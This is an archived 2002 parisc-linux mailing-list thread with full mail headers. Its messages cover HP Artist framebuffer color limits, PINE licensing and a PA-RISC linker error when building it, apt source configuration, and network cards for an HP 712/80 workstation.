	for stephan@itp.bg; Sun, 14 Jul 2002 11:39:54 +0200 (CEST) 
Content-Disposition: inline
In-Reply-To: <20020714091619.B1E35483A@dsl2.external.hp.com>
User-Agent: Mutt/1.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15444

Stephan Trajkoff wrote:
> PINE in hppa dist is only avalailable as source, not binary

This is due to the license of PINE.  It cannot be distributed as
binary or binary built from modified source.  Hence, only the
plain source can be distributed.

> my clients want pine, not mutt

Even though it doesn't help you in the first place, but since
Mutt comes with a Pine.rc in the examples directory, you may
be able to educate one client or another to use the free Mutt
with these settings.  It may reduce the pressure on you a little
bit.

Regards,

	Joey

-- 
If you come from outside of Finland, you live in wrong country.
	-- motd of irc.funet.fi


From - Thu Nov 08 21:23:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] STI framebuffer and PINE
Date: Sun, 14 Jul 2002 11:50:17 +0200
Lines: 32
Approved: news@gmane.org
Message-ID: <20020714095017.GM14636@charite.de>
References: <20020714091619.B1E35483A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621504 10488 80.91.229.3 (22 Nov 2014 01:58:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:24 +0000 (UTC)
Cc: Ralf.Hildebrandt@charite.de, parisc-linux@lists.parisc-linux.org
To: Stephan Trajkoff <stephan@itp.bg>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jul 14 03:50:20 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hauptpostamt.charite.de (hauptpostamt.charite.de [193.175.66.220])
	by dsl2.external.hp.com (Postfix) with ESMTP id BB6EE4860
	for <parisc-linux@lists.parisc-linux.org>; Sun, 14 Jul 2002 03:50:19 -0600 (MDT)
Original-Received: from postamt1.charite.de (postamt1.charite.de [193.175.66.246])
	by hauptpostamt.charite.de (Postfix) with ESMTP
	id 0D87F15C00E; Sun, 14 Jul 2002 11:50:18 +0200 (CEST)
Original-Received: by postamt1.charite.de (Postfix, from userid 7945)
	id DB9FC633A8; Sun, 14 Jul 2002 11:50:17 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <20020714091619.B1E35483A@dsl2.external.hp.com>
User-Agent: Mutt/1.4i
X-message-flag: Outlook? Viral infections & bugs for the foreseeable future
X-Virus-Scanned: by AMaViS snapshot-20020531
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15445

Am 14.07.2002 um 12:17:46 +0300 schrieb Stephan Trajkoff folgendes:
> I don't know if my STI can run more colours. I have no documentation 
> for my server

Well, check the pages I mentioned.

> ./build slx and ./build lnx is commands for compiling pine


> before compiling PINE i did apt-get dist-upgrade

Fine. Don't forget to
apt-get update
first

> but again PINE package can't compile, only pico and pilot works, not 
> pine 

Did you get a PINE source package (is there one?) or the original source?

> my clients want pine, not mutt

Their fault.

-- 
Ralf Hildebrandt (Im Auftrag des Referat V A)   Ralf.Hildebrandt@charite.de
Charite Campus Virchow-Klinikum                 Tel.  +49 (0)30-450 570-155
Referat V A - Kommunikationsnetze -             Fax.  +49 (0)30-450 570-916
A complex system that works is invariably found to have evolved from a
simple system that worked.                                -- John Gall 



From - Thu Nov 08 21:23:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] STI framebuffer and PINE
Date: Sun, 14 Jul 2002 12:56:29 +0200
Lines: 32
Approved: news@gmane.org
Message-ID: <200207141256.29759.deller@gmx.de>
References: <20020714065104.DF333484C@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621505 10491 80.91.229.3 (22 Nov 2014 01:58:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:25 +0000 (UTC)
To: "Stephan Trajkoff" <stephan@itp.bg>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jul 14 04:57:32 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 678A5483C
	for <parisc-linux@lists.parisc-linux.org>; Sun, 14 Jul 2002 04:57:31 -0600 (MDT)
Original-Received: (qmail 29949 invoked by uid 0); 14 Jul 2002 10:57:16 -0000
Original-Received: from dialin-212-144-173-202.arcor-ip.net (HELO P100.helgenet.de) (212.144.173.202)
  by mail.gmx.net (mp017-rz3) with SMTP; 14 Jul 2002 10:57:16 -0000
User-Agent: KMail/1.4.5
In-Reply-To: <20020714065104.DF333484C@dsl2.external.hp.com>
Content-Disposition: inline
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15446

Hi Stephan,

On Sunday 14 July 2002 08:52, Stephan Trajkoff wrote:
> STI GSC/PCI graphics driver version 0.9
> STI word mode ROM at f0060000, hpa at f4000000
> STI id 2b4ded6d-40a00499, conforms to spec rev. 8.04

#define S9000_ID_ARTIST         0x2B4DED6D      /* Artist (Gecko/712 & 715) onboard Graphics */

> STI device: HPA208LC1280
> Console: switching to colour frame buffer device 160x64
> fb0: stifb 1280x1024-8 frame buffer device, id: 2b4ded6d, mmio:
> 0xf4100000
> I have this shit, can anyone help me to run XFREE in 15,16,24 or 32
> bit color?

The Artist card is limited by hardware to 8bpp only. Sorry.

> my HP is 819/K210
> Another problem how I can run PINE?
> I have downloaded with apt-get pine 4.44
> ./build lnx and ./build slx don't work
> there is an error in PINE
> before compiling pine, I did apt-get dist-upgrade

No idea.

Greetings,
Helge




From - Thu Nov 08 21:23:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] STI framebuffer and PINE
Date: Sun, 14 Jul 2002 13:32:50 +0200
Lines: 20
Approved: news@gmane.org
Message-ID: <20020714113250.GA28710@charite.de>
References: <20020714091619.B1E35483A@dsl2.external.hp.com> <20020714095017.GM14636@charite.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621505 10492 80.91.229.3 (22 Nov 2014 01:58:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:25 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jul 14 05:32:53 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hauptpostamt.charite.de (hauptpostamt.charite.de [193.175.66.220])
	by dsl2.external.hp.com (Postfix) with ESMTP id D79C24879
	for <parisc-linux@lists.parisc-linux.org>; Sun, 14 Jul 2002 05:32:52 -0600 (MDT)
Original-Received: from postamt1.charite.de (postamt1.charite.de [193.175.66.246])
	by hauptpostamt.charite.de (Postfix) with ESMTP id 682C415C012
	for <parisc-linux@lists.parisc-linux.org>; Sun, 14 Jul 2002 13:32:51 +0200 (CEST)
Original-Received: by postamt1.charite.de (Postfix, from userid 7945)
	id 4258C633A8; Sun, 14 Jul 2002 13:32:51 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <20020714095017.GM14636@charite.de>
User-Agent: Mutt/1.4i
X-message-flag: Outlook? Viral infections & bugs for the foreseeable future
X-Virus-Scanned: by AMaViS snapshot-20020531
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15447

Am 14.07.2002 um 11:50:17 +0200 schrieb Ralf Hildebrandt folgendes:

> > ./build slx and ./build lnx is commands for compiling pine

WHat is the error you're getting?
 
> > but again PINE package can't compile, only pico and pilot works, not 
> > pine 

What happens?

-- 
Ralf Hildebrandt (Im Auftrag des Referat V A)   Ralf.Hildebrandt@charite.de
Charite Campus Virchow-Klinikum                 Tel.  +49 (0)30-450 570-155
Referat V A - Kommunikationsnetze -             Fax.  +49 (0)30-450 570-916
Your file was so big.
It might be very useful.
But now it is gone.



From - Thu Nov 08 21:23:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Simon Urbanek <su@b-q-c.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 712/80 ext. network card
Date: Sun, 14 Jul 2002 14:52:45 +0200
Lines: 65
Approved: news@gmane.org
Message-ID: <3D31741D.BB6C5511@b-q-c.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
 boundary="------------6BB00E794D838C144DD59A98"
X-Trace: ger.gmane.org 1416621505 10497 80.91.229.3 (22 Nov 2014 01:58:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:25 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jul 14 06:53:00 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailout02.sul.t-online.com (mailout02.sul.t-online.com [194.25.134.17])
	by dsl2.external.hp.com (Postfix) with ESMTP id B8639483D
	for <parisc-linux@lists.parisc-linux.org>; Sun, 14 Jul 2002 06:52:59 -0600 (MDT)
Original-Received: from fwd04.sul.t-online.de 
	by mailout02.sul.t-online.com with smtp 
	id 17Tirx-0005m6-07; Sun, 14 Jul 2002 14:52:57 +0200
Original-Received: from b-q-c.com (320040563780-0001@[80.128.104.202]) by fmrl04.sul.t-online.com
	with esmtp id 17Tirn-0zk1q4C; Sun, 14 Jul 2002 14:52:47 +0200
X-Mailer: Mozilla 4.79 [en] (X11; U; Linux 2.4.19-pre7-jl1-ll i686)
X-Accept-Language: en, de, cs, ru, fr
X-Sender: 320040563780-0001@t-dialin.net
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15448

--------------6BB00E794D838C144DD59A98
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hi,

I have a HP 712/80 workstation with PARISC-Linux and it works flawlessly
(2.4.18) - good job.
I would like to use it as a router/fw, ergo I need to plugin another
network card. Could you, please, tell me what network cards for the
extension slot are supported by the PARISC-Linux and maybe where I can
get one? I know, it's all a bit old stuff ;) so it's not easy to get I
suppose..

Thanks for any help,
Simon

PS: Please CC any response to my e-mail since I'm not on the list.

--
Simon Urbanek

---------------------------------------------------------
 e-mail  : SU@b-q-c.com
 ICQ     : 41784514
 Homepage: http://simon.urbanek.info/

   Air conditioned environment, do not open Windows !
                    ... use Linux !
---------------------------------------------------------



--------------6BB00E794D838C144DD59A98
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
Hi,
<p>I have a HP 712/80 workstation with PARISC-Linux and it works flawlessly
(2.4.18) - good job.
<br>I would like to use it as a router/fw, ergo I need to plugin another
network card. Could you, please, tell me what network cards for the extension
slot are supported by the PARISC-Linux and maybe where I can get one? I
know, it's all a bit old stuff ;) so it's not easy to get I suppose..
<p>Thanks for any help,
<br>Simon
<p>PS: Please CC any response to my e-mail since I'm not on the list.
<pre>--&nbsp;
Simon Urbanek

---------------------------------------------------------
&nbsp;e-mail&nbsp; : SU@b-q-c.com
&nbsp;ICQ&nbsp;&nbsp;&nbsp;&nbsp; : 41784514
&nbsp;Homepage: <A HREF="http://simon.urbanek.info/">http://simon.urbanek.info/</A>

&nbsp;&nbsp; Air conditioned environment, do not open Windows !
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ... use Linux !
---------------------------------------------------------</pre>
&nbsp;</html>

--------------6BB00E794D838C144DD59A98--



From - Thu Nov 08 21:23:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 712/80 ext. network card
Date: Sun, 14 Jul 2002 15:12:18 +0200
Lines: 27
Approved: news@gmane.org
Message-ID: <200207141512.18242.deller@gmx.de>
References: <3D31741D.BB6C5511@b-q-c.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621506 10501 80.91.229.3 (22 Nov 2014 01:58:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:26 +0000 (UTC)
To: Simon Urbanek <su@b-q-c.com>, parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jul 14 07:13:31 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 726B9487C
	for <parisc-linux@lists.parisc-linux.org>; Sun, 14 Jul 2002 07:13:30 -0600 (MDT)
Original-Received: (qmail 30041 invoked by uid 0); 14 Jul 2002 13:13:29 -0000
Original-Received: from dialin-212-144-171-142.arcor-ip.net (HELO P100.helgenet.de) (212.144.171.142)
  by mail.gmx.net (mp012-rz3) with SMTP; 14 Jul 2002 13:13:29 -0000
User-Agent: KMail/1.4.5
In-Reply-To: <3D31741D.BB6C5511@b-q-c.com>
Content-Disposition: inline
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15449

Hi Simon,

last time I tested a normal PC network card (ISA NE2000 clone) worked.

Greetings,
Helge

On Sunday 14 July 2002 14:52, Simon Urbanek wrote:
> Hi,
>
> I have a HP 712/80 workstation with PARISC-Linux and it works flawlessly
> (2.4.18) - good job.
> I would like to use it as a router/fw, ergo I need to plugin another
> network card. Could you, please, tell me what network cards for the
> extension slot are supported by the PARISC-Linux and maybe where I can
> get one? I know, it's all a bit old stuff ;) so it's not easy to get I
> suppose..
>
> Thanks for any help,
> Simon
>
> PS: Please CC any response to my e-mail since I'm not on the list.
>
> --
> Simon Urbanek



From - Thu Nov 08 21:23:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Stephan Trajkoff" <stephan@itp.bg>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] compiling PINE under PARISC
Date: Sun, 14 Jul 2002 19:21:42 +0300
Lines: 23
Approved: news@gmane.org
Message-ID: <20020714162011.58440483E@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621506 10502 80.91.229.3 (22 Nov 2014 01:58:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:26 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jul 14 10:20:12 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ns.itp.bg (itp.solo.bg [212.72.196.10])
	by dsl2.external.hp.com (Postfix) with SMTP id 58440483E
	for <parisc-linux@lists.parisc-linux.org>; Sun, 14 Jul 2002 10:20:11 -0600 (MDT)
Original-Received: (qmail 31615 invoked from network); 14 Jul 2002 16:21:42 -0000
Original-Received: from softdnserror (HELO www.itp.bg) (httpd@212.72.204.1)
  by softdnserror with SMTP; 14 Jul 2002 16:21:42 -0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15450

cc    -g -DDEBUG   -DLNX -DSYSTYPE=3D\"LNX\" -DMOUSE -o pine addrbook.o=20
adrbkcmd.o adrbklib.o args.o bldaddr.o context.o filter.o folder.o=20
help.o helptext.o imap.o init.o mailcap.o mailcmd.o mailindx.o=20
mailpart.o mailview.o newmail.o other.o pine.o reply.o screen.o=20
send.o signals.o status.o strings.o takeaddr.o os.o=20
date.c ../pico/libpico.a ../c-client/c-client.a  -lncurses `cat ../c-
client/LDFLAGS`
/usr/bin/ld: other.o(.text 0x3f730): cannot reach=20
000000d6_ClearScreen 0, recompile with -ffunction-sections
/usr/bin/ld: other.o(.text 0x3f730): cannot handle R_PARISC_PCREL17F=20
for ClearScreen
/usr/bin/ld: final link failed: Bad value
collect2: ld returned 1 exit status
make: *** [pine] Error 1

It is a error with ./build sl5 and slx
same errors:(((
can anyone help?

-->> FREE Perl CGI scripts add WEB ACCESS to your
-->> POP E-Mail accounts! Download today!! http://www.adjeweb.com



From - Thu Nov 08 21:23:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Mottram <peter@petescaff.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] compiling PINE under PARISC
Date: Sun, 14 Jul 2002 18:58:42 +0200 (CEST)
Lines: 54
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0207141854560.3013-100000@r6.petescaff.com>
References: <20020714162011.58440483E@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621506 10504 80.91.229.3 (22 Nov 2014 01:58:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:26 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Stephan Trajkoff <stephan@itp.bg>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jul 14 10:59:51 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.petescaff.com (petem.xs4all.nl [194.109.247.92])
	by dsl2.external.hp.com (Postfix) with ESMTP id EA3F5483F
	for <parisc-linux@lists.parisc-linux.org>; Sun, 14 Jul 2002 10:59:50 -0600 (MDT)
Original-Received: from r6.petescaff.com ([192.168.0.3])
	by smtp.petescaff.com with esmtp (Exim 3.35 #1)
	id 17Tmhm-0003wt-00; Sun, 14 Jul 2002 18:58:42 +0200
X-X-Sender: apm@r6.petescaff.com
In-Reply-To: <20020714162011.58440483E@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15451

Are you trying to build pine from sources you have downloaded manually?

I have no problems building v4.44 using apt.....

just make sure you have some source lines in /etc/apt/sources.list - here
is my config for use here in NL (line-wrapped a little):

deb http://ftp.nl.debian.org/debian/ woody main non-free contrib
deb http://ftp.nl.debian.org/debian-non-US woody/non-US main non-free
contrib
deb-src http://ftp.nl.debian.org/debian/ woody main non-free contrib
deb-src http://ftp.nl.debian.org/debian-non-US woody/non-US main non-free
contrib
deb http://security.debian.org/ woody/updates main contrib non-free
deb-src http://security.debian.org/ woody/updates main contrib non-free

Then you can download and build pine perfectly using:

apt-get source pine --build

R.
PeteM

On Sun, 14 Jul 2002, Stephan Trajkoff wrote:

> cc    -g -DDEBUG   -DLNX -DSYSTYPE=\"LNX\" -DMOUSE -o pine addrbook.o
> adrbkcmd.o adrbklib.o args.o bldaddr.o context.o filter.o folder.o
> help.o helptext.o imap.o init.o mailcap.o mailcmd.o mailindx.o
> mailpart.o mailview.o newmail.o other.o pine.o reply.o screen.o
> send.o signals.o status.o strings.o takeaddr.o os.o
> date.c ../pico/libpico.a ../c-client/c-client.a  -lncurses `cat ../c-
> client/LDFLAGS`
> /usr/bin/ld: other.o(.text 0x3f730): cannot reach
> 000000d6_ClearScreen 0, recompile with -ffunction-sections
> /usr/bin/ld: other.o(.text 0x3f730): cannot handle R_PARISC_PCREL17F
> for ClearScreen
> /usr/bin/ld: final link failed: Bad value
> collect2: ld returned 1 exit status
> make: *** [pine] Error 1
>
> It is a error with ./build sl5 and slx
> same errors:(((
> can anyone help?
>
> -->> FREE Perl CGI scripts add WEB ACCESS to your
> -->> POP E-Mail accounts! Download today!! http://www.adjeweb.com
>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>



From - Thu Nov 08 21:23:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chuck Slivkoff <caslivkoff@telocity.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 712/80 ext. network card
Date: Sun, 14 Jul 2002 13:39:03 -0400
Lines: 49
Approved: news@gmane.org
Message-ID: <968A1D16-9750-11D6-84C8-000393581E44@telocity.com>
References: <200207141512.18242.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v482)
Content-Type: text/plain; charset=US-ASCII; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621507 10507 80.91.229.3 (22 Nov 2014 01:58:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:27 +0000 (UTC)
Cc: Simon Urbanek <su@b-q-c.com>, parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jul 14 11:38:57 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from c003.snv.cp.net (h024.c003.snv.cp.net [209.228.32.238])
	by dsl2.external.hp.com (Postfix) with SMTP id 247724842
	for <parisc-linux@lists.parisc-linux.org>; Sun, 14 Jul 2002 11:38:57 -0600 (MDT)
Original-Received: (cpmta 15121 invoked from network); 14 Jul 2002 10:38:55 -0700
Original-Received: from 64.128.230.1 (HELO dhcp129.slivkoff.home)
  by smtp.telocity.com (209.228.32.238) with SMTP; 14 Jul 2002 10:38:55 -0700
X-Sent: 14 Jul 2002 17:38:55 GMT
In-Reply-To: <200207141512.18242.deller@gmx.de>
X-Mailer: Apple Mail (2.482)
